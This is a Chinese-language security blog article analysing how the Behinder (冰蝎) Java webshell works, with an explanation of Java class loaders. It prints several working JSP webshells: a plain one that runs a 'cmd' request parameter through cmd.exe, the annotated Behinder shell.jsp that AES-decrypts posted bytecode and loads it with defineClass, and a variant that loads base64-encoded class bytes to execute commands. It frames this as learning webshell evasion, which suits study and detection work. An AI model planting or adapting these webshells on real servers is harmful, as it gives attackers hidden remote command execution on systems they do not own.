冰蝎 Java服務(wù)端解析
前言
看了一段時(shí)間的webshell免殺,由于其他語言的webshell沒啥基礎(chǔ),只對(duì)jsp的webshell和冰蝎簡(jiǎn)單分析了一下。完成了一個(gè)簡(jiǎn)化版的冰蝎Demo,主要是學(xué)習(xí)原理,分析的有不對(duì)的地方還請(qǐng)師傅們斧正。
冰蝎JSP服務(wù)端解析
在看冰蝎的shell.jsp之前先來回顧下Java最基礎(chǔ)執(zhí)行命令的實(shí)現(xiàn)。Java最常見的是通過Runtime.getRuntime().exec("cmd")來實(shí)現(xiàn)執(zhí)行系統(tǒng)命令的,如下是一個(gè)Demo。 Runtime.getRuntime().exec()實(shí)現(xiàn)命令執(zhí)行及輸出:
importjava.io.BufferedReader; importjava.io.IOException; importjava.io.InputStream; importjava.io.InputStreamReader; publicclassCMDExecDemo{ publicstaticvoidmain(String[]args)throwsException{ Processprocess=Runtime.getRuntime().exec("ipconfig"); InputStreamprocessInput=process.getInputStream(); InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK"); BufferedReaderbufferedReader=newBufferedReader(inputStreamReader); StringresLine; while((resLine=bufferedReader.readLine())!=null){ System.out.println(resLine); } inputStreamReader.close(); processInput.close(); } }
JSP實(shí)現(xiàn):
<%@page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"??%> <%@page?import="java.io.*"?%> <% String?os?=?System.getProperty("os.name").toLowerCase(); out.print(os); String?cmd?=?request.getParameter("cmd"); String?line; if?(cmd?!=?null){ ????Process?p?=?Runtime.getRuntime().exec(new?String[]{"cmd.exe","/c",cmd}); ????InputStream?ins?=?p.getInputStream(); ????InputStreamReader?insr?=?new?InputStreamReader(ins,"GBK"); ????BufferedReader?br?=?new?BufferedReader(insr); ????out.print(""); while((line=br.readLine())!=null){ out.print(line+" "); } out.print(""); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
Behinder JSP Webshell不同于一般的一句話木馬,作者通過自定義類加載器調(diào)用ClassLoader類defineClass方法讓服務(wù)端有了動(dòng)態(tài)解析字節(jié)碼的能力,添加注釋后的shell.jsp如下。
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%> <%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! ????//自定義類加載器 ????class?U?extends?ClassLoader{ ????????U(ClassLoader?c){ ????????????super(c); ????????} ????????public?Class?g(byte?[]b) ????????{ ????????????//調(diào)用父類defineClass方法 ????????????return?super.defineClass(b,0,b.length); ????????} ????} %> <% ????if?(request.getMethod().equals("POST")){ ????????String?k="e45e329feb5d925b"; ????????session.putValue("u",k); ????????Cipher?c=Cipher.getInstance("AES"); ????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES")); ????????//獲取客戶端數(shù)據(jù) //????????String?line?=?request.getReader().readLine(); ????????//base64解碼客戶端數(shù)據(jù) //????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line); ????????//AES解密 //????????byte[]?b1?=?c.doFinal(b); ????????//調(diào)用父類defineClass方法,將傳入數(shù)據(jù)還原為Class對(duì)象 //????????U?u?=?new?U(this.getClass().getClassLoader()); //????????Class?clazz?=?u.g(b1); ????????//實(shí)例化對(duì)象將輸出寫入pageContext ????????//客戶端傳入的字節(jié)碼指向的類中重寫了equals方法傳入pageContext對(duì)象,通過pageContext對(duì)象 ????????//可以間接操作response,將執(zhí)行結(jié)果寫入response返回給客戶端 //????????clazz.newInstance().equals(pageContext); ????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); ????} %>
關(guān)于自定義類加載器
Java執(zhí)行代碼的過程:程序員編寫的Java代碼通過編譯器編譯成字節(jié)碼文件即.class文件之后交由ClassLoader加載至JVM中被執(zhí)行。 JVM提供了三種類加載器: **Bootstrap classLoader:**主要負(fù)責(zé)加載核心的類庫(java.lang.*等),構(gòu)造ExtClassLoader和APPClassLoader。ExtClassLoader:主要負(fù)責(zé)加載jre/lib/ext目錄下的一些擴(kuò)展的jarAppClassLoader:主要負(fù)責(zé)加載應(yīng)用程序的主函數(shù)類。 雙親委派機(jī)制: 當(dāng)一個(gè)Hello.class這樣的文件要被加載時(shí)。不考慮自定義類加載器,首先會(huì)在AppClassLoader中檢查是否加載過,如果有那就無需再加載了。如果沒有,那么會(huì)拿到父加載器,然后調(diào)用父加載器的loadClass方法。父類中同理也會(huì)先檢查自己是否已經(jīng)加載過,如果沒有再往上。注意這個(gè)類似遞歸的過程,直到到達(dá)Bootstrap classLoader之前,都是在檢查是否加載過,并不會(huì)選擇自己去加載。直到BootstrapClassLoader,已經(jīng)沒有父加載器了,這時(shí)候開始考慮自己是否能加載了,如果自己無法加載,會(huì)下沉到子加載器去加載,一直到最底層,如果沒有任何加載器能加載,就會(huì)拋出ClassNotFoundException。
ClassLoader中的三個(gè)關(guān)鍵方法: ClassLoader.loadClass():雙親委派機(jī)制的代碼實(shí)現(xiàn)。
publicClass>loadClass(Stringname)throwsClassNotFoundException{ returnloadClass(name,false); } protectedClass>loadClass(Stringname,booleanresolve) throwsClassNotFoundException { synchronized(getClassLoadingLock(name)){ //First,checkiftheclasshasalreadybeenloaded Class>c=findLoadedClass(name); if(c==null){ longt0=System.nanoTime(); try{ if(parent!=null){ c=parent.loadClass(name,false); }else{ c=findBootstrapClassOrNull(name); } }catch(ClassNotFoundExceptione){ //ClassNotFoundExceptionthrownifclassnotfound //fromthenon-nullparentclassloader } if(c==null){ //Ifstillnotfound,theninvokefindClassinorder //tofindtheclass. longt1=System.nanoTime(); c=findClass(name); //thisisthedefiningclassloader;recordthestats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if(resolve){ resolveClass(c); } returnc; } }
ClassLoader.defineClass():將byte[]還原為Class對(duì)象。
protectedfinalClass>defineClass(Stringname,byte[]b,intoff,intlen, ProtectionDomainprotectionDomain) throwsClassFormatError { protectionDomain=preDefineClass(name,protectionDomain); Stringsource=defineClassSourceLocation(protectionDomain); Class>c=defineClass1(name,b,off,len,protectionDomain,source); postDefineClass(c,protectionDomain); returnc; }
ClassLoader.findClass():供自定義類加載器重寫使用,配合defineClass方法實(shí)現(xiàn)自定義加載字節(jié)碼。
protectedClass>findClass(Stringname)throwsClassNotFoundException{ thrownewClassNotFoundException(name); }
實(shí)現(xiàn)自定義類加載器的步驟: 1、繼承ClassLoader類 2、重寫findClass方法 3、調(diào)用defineClass方法 Demo如下: hello.java
publicclasshello{ publicvoidprintHello(){ System.out.println("helloworld!"); } }
customLoader.java
importjava.io.File; importjava.io.FileInputStream; importjava.lang.reflect.Method; publicclasscustomLoaderextendsClassLoader{ privateStringclassPath; publiccustomLoader(StringclassPath){ this.classPath=classPath; } @Override protectedClass>findClass(Stringname)throwsClassNotFoundException{ byte[]bytes=newbyte[0]; try{ bytes=loadBytes(name); }catch(Exceptione){ e.printStackTrace(); } returnsuper.defineClass(bytes,0,bytes.length); } privatebyte[]loadBytes(StringclassName)throwsException{ FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class")); byte[]b=newbyte[fileIns.available()]; fileIns.read(b); fileIns.close(); returnb; } publicstaticvoidmain(String[]args)throwsException{ customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java"); ClassaClass=customLoader.loadClass("hello"); Objecto=aClass.newInstance(); Methodm=aClass.getMethod("printHello"); m.invoke(o); } }
有了以上基礎(chǔ),著手將一開始的CMD Webshell改為自定義類加載器方式執(zhí)行: 相較于傳統(tǒng)自定義類加載器的方式,冰蝎更直接地調(diào)用defineClass方法將編碼后class文件還原為Class對(duì)象,參照冰蝎的方式可以依照如下步驟來實(shí)現(xiàn)CMD Webshell。 1、首先將CMD JSP Webshell編譯為class,然后將class文件base64編碼
image.png
2、通過自定義類加載器將base64后class還原為Class對(duì)象并加載至jvm執(zhí)行。
<%@?page?import="java.util.Base64"?%> <%@?page?import="java.lang.reflect.Method"?%> <%@?page?contentType="text/html;charset=UTF-8"?language="java"?%> <% ????String?cmd?=?request.getParameter("cmd"); ????if?(cmd?!=?null){ ????????class?U?extends?ClassLoader{ ????????????public?Class?g(){ ????????????????String?clsStr?=?"yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq"; ????????????????byte[]?b?=?Base64.getDecoder().decode(clsStr); ????????????????return?super.defineClass(b,0,b.length); ????????????} ????????} ????????U??u?=?new?U(); ????????Class?clazz?=?u.g(); ????????Object?obj?=?clazz.newInstance(); ????????Method?m?=?clazz.getMethod("execCmd",String.class); ????????String?res?=?(String)?m.invoke(obj,cmd); ????????out.print(res); ????} %>
總結(jié)
簡(jiǎn)單分析了冰蝎Java服務(wù)端的實(shí)現(xiàn),如果我們將固定的CMD_RuntimeDemo.class Base64編碼后的字符串改為傳遞參數(shù)傳遞給服務(wù)端,那么服務(wù)端就可以解析我們傳遞的class字節(jié)碼從而在服務(wù)端執(zhí)行任意java代碼,而這正是冰蝎客戶端的核心思路。
審核編輯:湯梓紅
-
JAVA
+關(guān)注
關(guān)注
19文章
2946瀏覽量
104372 -
JSP
+關(guān)注
關(guān)注
0文章
26瀏覽量
10357 -
服務(wù)端
+關(guān)注
關(guān)注
0文章
66瀏覽量
6959
原文標(biāo)題:參考
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論